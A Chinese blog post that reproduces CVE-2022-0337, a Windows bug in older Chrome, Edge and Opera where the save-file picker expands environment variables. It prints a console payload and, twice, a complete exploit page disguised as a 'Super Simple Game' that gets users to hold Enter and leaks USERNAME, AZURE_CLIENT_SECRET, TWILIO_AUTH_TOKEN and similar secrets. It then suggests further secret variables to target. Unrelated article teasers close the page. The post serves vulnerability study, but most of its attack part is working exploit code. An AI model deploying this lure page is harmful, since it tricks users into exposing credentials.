有意思的CVE-2022-0337复现

news2024/12/26 12:58:40

前言

前两天在刷tw,看到了个比较有意思的一个CVE漏洞,价值奖励是10000美🔪,比较好奇的是价值10000美🔪的漏洞是什么样子的[苦涩],漏洞利用就是需要在浏览器中进行用户交互才能触发该漏洞,但由于 Windows 的文件保存默认为接受,通过使用强制您按 ENTER 约 2 秒的技巧简单地泄漏数十个环境变量。

影响版本

Google Chrome版本范围92.x-96.x

Microsoft Edge版本范围92.x-96.x

Opera版本范围78.x-81.x

复现

在存在漏洞的浏览器F12的控制台输入payload

let a = await window.showSaveFilePicker({suggestedName:'%username%'});a.name;

但是必须要访问一个存在的html,百度首页测试

保存后控制台输出环境变量username的值

漏洞发现者为:Maciej Pulikowski,exp也是来自于作者,中间改了点样式,因为觉得有点不太美观!

EXP

<html>
  <head>
    <title>
      CVE-2022-0337 System environment variables leak on Google Chrome,
      Microsoft Edge and Opera
    </title>
    <meta charset="UTF-8" />
  </head>

  <style>
    body {
      background: rgba(212,0,0,0.2);
      display: flex;
      justify-content: center;
      align-items: center;
      flex-direction: column;
    }
h1,
h2,
h3 {
  -webkit-text-stroke: 1px #00000050;
}

h1 {
  color: #d96c06;
  font-size: 36px;
}
h2 {
  color: #1ebe8e;
  font-size: 46px;
}
h3 {
  color: #c6f91f;
  font-size: 18px;
}
h2 span {
  color: #cf4848;
  font-size: 70px;
}

#author {
  font-size: 28px;
}

span {
  font-weight: 100;
}
</style>

  <body>
    <script>
      //how many time enter clicked in row
      let countEnter = 0;
      //is file downloaded
      let isDownloaded = false;

      //on page load
      window.onload = function () {
        const body = document.querySelector("body");
        const pixel = document.querySelector("#pixel");

        body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
        body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

        const randomNumber = Math.floor(Math.random() * 990) + 1;
        const filename = `f${randomNumber}.f`;

        //List of environment variables that hacker is interested in.
        const environmentVariables = [
          "USERNAME",
          "USERDOMAIN",
          "SESSIONNAME",
          "COMPUTERNAME",
          "KEY_VAULT_URL",
          "SECRET_NAME",
          "AZURE_TENANT_ID",
          "AZURE_CLIENT_ID",
          "AZURE_CLIENT_SECRET",
          "TWILIO_ACCOUNT_SID",
          "TWILIO_AUTH_TOKEN",
          //'TOKEN',
          //'PASSWORD'
        ];

        const suggestedName =
          environmentVariables.map((x) => `%${x}%`).join("@") + filename;

        pixel.addEventListener("click", async () => {
          //handle to get file
          const handle = await window.showSaveFilePicker({ suggestedName });
          //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
          //result from user
          const username = handle.name.split("@")[0];

          const userInfo = handle.name
            .replaceAll(filename, "")
            .split("@")
            .map(
              (x, i) =>
                `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
            )
            .join("<br>");
          const guessWinPath = `C:/Users/${username}`;
          document.querySelector(
            "#userInfo"
          ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
          document.querySelector("#gameover").textContent =
            "GAME OVER - Need refresh to start again";
        });
      };

      function clickedEnter() {
        countEnter++;
        //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
        if (countEnter > 5 && !isDownloaded) {
          pixel.click();
          //set file is downloaded
          isDownloaded = true;
        }
      }

      function cancelEnter() {
        //reset count enter if enter is not hold
        countEnter = 0;
      }
    </script>
    <!-- div used to click to open Save As dialog -->
    <div id="pixel"></div>
    <h3 id="userInfo"></h3>
    <h1>Super Simple Game<span>😻😻😻</span></h1>
    <h2><span>⌨️HOLD ENTER</span> for 2 seconds</h2>
    <h3 id="gameover"></h3>
  </body>
</html>

这里选择版本

92.0.4515.159(正式版本)

刷新页面后长按Enter键两秒即可触发payload

 

分析

分一下payload前面的49行之前内容是定义了html的样式,核心内容在

 <script>
      //how many time enter clicked in row
      let countEnter = 0;
      //is file downloaded
      let isDownloaded = false;
 //on page load
  window.onload = function () {
    const body = document.querySelector("body");
    const pixel = document.querySelector("#pixel");

    body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
    body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

    const randomNumber = Math.floor(Math.random() * 990) + 1;
    const filename = `f${randomNumber}.f`;

    //List of environment variables that hacker is interested in.
    const environmentVariables = [
      "USERNAME",
      "USERDOMAIN",
      "SESSIONNAME",
      "COMPUTERNAME",
      "KEY_VAULT_URL",
      "SECRET_NAME",
      "AZURE_TENANT_ID",
      "AZURE_CLIENT_ID",
      "AZURE_CLIENT_SECRET",
      "TWILIO_ACCOUNT_SID",
      "TWILIO_AUTH_TOKEN",
      //'TOKEN',
      //'PASSWORD'
    ];

    const suggestedName =
      environmentVariables.map((x) => `%${x}%`).join("@") + filename;

    pixel.addEventListener("click", async () => {
      //handle to get file
      const handle = await window.showSaveFilePicker({ suggestedName });
      //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
      //result from user
      const username = handle.name.split("@")[0];

      const userInfo = handle.name
        .replaceAll(filename, "")
        .split("@")
        .map(
          (x, i) =>
            `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
        )
        .join("<br>");
      const guessWinPath = `C:/Users/${username}`;
      document.querySelector(
        "#userInfo"
      ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
      document.querySelector("#gameover").textContent =
        "GAME OVER - Need refresh to start again";
    });
  };

  function clickedEnter() {
    countEnter++;
    //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
    if (countEnter > 5 && !isDownloaded) {
      pixel.click();
      //set file is downloaded
      isDownloaded = true;
    }
  }

  function cancelEnter() {
    //reset count enter if enter is not hold
    countEnter = 0;
  }
</script>

看标签的话定义为JavaScript语言,泄露的配置信息在69-84行定义

在63和64行定义了长按Enter键相当于触发script标签

随机数生成文件名后缀,随机数大小为0到991,fimename=随机数.f

suggestedName格式为定义的%{x}%@filename

suggestedName=%{x}%@随机数.f

 

继续向下看

 

上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印。

 

所以最终在执行payload的时候保存的文件名为

%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f

那么接下来需要思考两个问题

  • 泄露的漏洞触发的原理又在哪里

  • 能做什么呢?

1.根据测试,漏洞在windwos易受攻击。Linux 和Mac 是安全的,因为在命名的时候使用了ENV环境变量,所以会触发,在 Windows 中,%ENV_VAR%可以使用 来引用环境变量,文件名称的命名时利用环境变量来命名的话,在调用文件的话会返回环境变量的值。

2.因为windows中能够利用环境变量有很多,例如

AWS_SECRET_ACCESS_KEY
AZURE_CLIENT_SECRET
binance_secret
GITHUB_TOKEN
GOOGLE_API_KEY

可参考

https://github.com/Puliczek/awesome-list-of-secrets-in-environment-variables

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/555543.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vr船舶装配模拟驾驶平台直观形象呈现操作流程和原理

船舶由成千上万种零件构成&#xff0c;需要众多的工业部门共同合作才能够完成这一庞大工程。除特有的船体建造技术外&#xff0c;造船还涉及到机械、电气、冶金、建筑、化学以至工艺美术等各个领域&#xff0c;因此船舶建造是一项劳动密集型、技术密集型和资金密集型的产业。 船…

【OpenAI】DALL·E 2,让我来带你认识一下这位来自AI界的艺术家

个人主页&#xff1a;【&#x1f60a;个人主页】 文章目录 前言什么是DALL-E 2 &#xff1f;介绍的怎么厉害&#xff0c;它又能干啥呢&#xff1f;基本功能新功能编辑变体功能 总结 前言 DALL-E 2 是一种基于语言的人工智能图像生成器&#xff0c;可以根据文本提示创建高质量的…

【学习日记2023.5.22】 之 套餐模块完善

4. 功能模块完善之套餐模块 4.1 新增套餐 4.1.1 需求分析与设计 产品原型 后台系统中可以管理套餐信息&#xff0c;通过 新增功能来添加一个新的套餐&#xff0c;在添加套餐时需要添加套餐对应菜品的信息&#xff0c;并且需要上传套餐图片。 新增套餐原型&#xff1a; 当填…

PMP-项目经理的角色

一、项目经理的作用 项目经理在领导团队达成项目目标方面发挥着至关重要的作用。一般来说&#xff0c;项目经理从项目启动时就开始参与项目直至项目结束&#xff0c;在这个过程中&#xff0c;项目经理发挥着对项目的规划、协调、控制等作用&#xff0c;确保与产品保持一致&…

用 Python 进行办公自动化都需要学习什么知识呢?

Python 自动化办公&#xff0c;无外乎就是 excel&#xff0c;ppt&#xff0c;word&#xff0c;再加上数据分析、爬虫等技能 下面我就来逐一介绍各项技能的基本使用 基本知识 1. Python基础知识&#xff1a; 包括语法、变量、数据类型、条件语句、循环语句、函数等基本概念和用…

代码随想录训练营Day48|● 198.打家劫舍 ● 213.打家劫舍II ● 337.打家劫舍III

目录 学习目标 学习内容 198.打家劫舍 213.打家劫舍II 337.打家劫舍III 学习目标 198.打家劫舍 213.打家劫舍II 337.打家劫舍III 学习内容 198.打家劫舍 198. 打家劫舍 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/house-robber/ class Soluti…

Hexo博客查图片并调整位置大小

Hexo博客查图片并调整位置&大小 &#x1f308;Description&#xff1a; ​ Markdown写文章插入图片&#xff0c;在hexo博客中&#xff0c;图片的大小似乎没有按照个markdown的语法生效&#xff0c;本文将解决此问题。 现有问题描述 obsidian中插入图片的语法&#xff1a; !…

当四款AI大模型遇上考公真题,谁被难倒了?

在当今社会&#xff0c;人工智能&#xff08;AI&#xff09;正以不可思议的速度发展&#xff0c;并在各个领域崭露头角&#xff0c;给人们的生活和工作带来许多便利。AI大模型被誉为人类“第二大脑”&#xff0c;成为人们学习、生活、工作的 “智能助手”。 公务员考试在我国教…

firewalld防火墙

firewalld防火墙 1&#xff1a;firewalld概述 firewalld防火墙是Centos7系统默认的防火墙管理工具&#xff0c;取代了之前的iptables防火墙&#xff0c;也是工作在网络层&#xff0c;属于包过滤防火墙。firewalld和iptables都是用来管理防火墙的工具&#xff08;属于用户态&a…

如何使用ChatGPT对论文进行润色

本文提供两种基于chatGPT的润色方式&#xff1a; &#xff08;1&#xff09;在chatGPT中利用editGPT插件润色 &#xff08;2&#xff09;chatGPT对话框引导chatGPT按照具体的意见进行润色。 1. 安装editGPT插件 问&#xff1a;为什么安装 editGPT&#xff1f; 答&#xff1a;…

STM32手柄PS2

PS2手柄介绍 PS2手柄由手柄与接收器两部分组成&#xff0c;手柄主要负责发送按键信息&#xff1b;接收器与单片机&#xff08;也可叫做主机&#xff09;相连&#xff0c;用于接收手柄发来的信息&#xff0c;并传递给单片机&#xff0c;单片机也可通过接收器&#xff0c;向手柄…

提示词工程师入门 百度文心Prompt课之十大技巧(适用所有AI大模型)

Promot知识 大模型基本原理 给模型输入什么数据&#xff0c;模型就会尝试学习什么内容Prompt十个技巧 三大类 迭代法 1、定基础 优先保证任务生成主体能够生成出我们想要的内容细节形式 在给出任务生成主体的情况下&#xff0c;模型生成效果较差&#xff0c;可增加细节词也无济…

百度API实现logo商标识别接口介绍

作者介绍 严松&#xff0c;男&#xff0c;西安工程大学电子信息学院&#xff0c;2022级研究生 研究方向&#xff1a;机器人抓取检测 电子邮件&#xff1a;2448052777qq.com 王泽宇&#xff0c;男&#xff0c;西安工程大学电子信息学院&#xff0c;2022级研究生&#xff0c;张…

建设一站式DevOps平台,腾讯云研发效能提升实践

本文作者&#xff1a;张渝 导语 | 近年来&#xff0c;研发效能提升越来越受到业界重视&#xff0c;许多厂商都在不断探索研发效能提升之路&#xff0c;从而实现研发效率和质量的持续优化&#xff0c;以应对日趋复杂的产品开发。那么腾讯云的研发效能相关工作是如何开展和落地的…

【遥感图像】目标检测系列.1

目录 Unsupervised Domain Adaptation for Cloud Detection Based on Grouped Features Alignment and Entropy Minimization, TGRS2022 Semi-Supervised Cloud Detection in Satellite Images by Considering the Domain Shift Problem, RS2022 CoF-Net: A Progressive Coa…

深度学习笔记之递归网络(四)铺垫:Softmax函数的反向传播过程

深度学习笔记之递归网络——铺垫&#xff1a;Softmax的反向传播过程 引言总结&#xff1a;递归神经网络的前馈计算过程场景构建前馈计算描述 铺垫&#xff1a; Softmax \text{Softmax} Softmax的反向传播过程场景构建 Softmax \text{Softmax} Softmax反向传播过程 引言 上一节…

OpenSIPS 3.1 负载均衡 MRCP 服务器的实现

文章目录 1. 方案设计2. 实现方式2.1 FreeSWITCH 的配置2.2 OpenSIPS 3.1 的配置2.2.1 OpenSIPS 保存 MRCP 服务器地址2.2.2 OpenSIPS 脚本开发 2.3 实现效果 1. 方案设计 FreeSWITCH 通过 unimrcp 模块来对接 MRCP 服务器&#xff0c;该模块在启动时会根据 mrcp profile 配置…

【Java|golang】1080. 根到叶路径上的不足节点--dfs

给你二叉树的根节点 root 和一个整数 limit &#xff0c;请你同时删除树中所有 不足节点 &#xff0c;并返回最终二叉树的根节点。 假如通过节点 node 的每种可能的 “根-叶” 路径上值的总和全都小于给定的 limit&#xff0c;则该节点被称之为 不足节点 &#xff0c;需要被删…

【Linux基本指令(2)】几十条指令快速入手Linux/深入理解什么是指令

本文思维导图&#xff1a; 文章目录 Tips&#xff1a;7.man指令&#xff08;重要&#xff09;&#xff1a;echo指令和输出重定向&#xff0c;追加重定向&#xff0c;输入重定向 8、cp指令&#xff08;重要&#xff09;9.mv指令&#xff08;重要&#xff09;10.cat指令11.more指…

weblogic CVE 2017-10271

weblogic ip :192.168.27.128:7001 使用weblogicscan对目标进行探测 python3 WeblogicScan.py -u 192.168.27.128 -p 7001 扫到了不少洞&#xff0c;现在开搞2017-10271 漏洞原理 CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞&#xff0c;主要由wls-…